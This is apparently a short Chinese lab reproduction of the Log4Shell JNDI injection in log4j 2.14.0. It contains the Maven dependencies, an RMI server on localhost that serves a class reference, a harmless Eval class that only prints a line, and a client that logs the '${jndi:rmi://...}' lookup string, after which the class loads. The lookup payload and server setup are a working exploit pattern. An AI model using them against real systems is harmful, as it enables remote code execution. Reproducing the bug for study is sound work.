pom.xml 中:
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
远端:
定义一个RMI Service
package remote;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.NamingException;
import javax.naming.Reference;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
LocateRegistry.createRegistry(8843);
final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8843);
Reference ref = new Reference("remote.Eval","remote.Eval",null);
final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Test", referenceWrapper);
}
}
定义一个需要注入的对象
package remote;
public class Eval {
static {
System.out.println("load Eval");
}
}
client 端
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
System.out.println("Main");
String msg2 = "${jndi:rmi://127.0.0.1:8843/Test}";
logger.error("Hello {}", msg2);
}
}
执行后发现 Eval 被加载了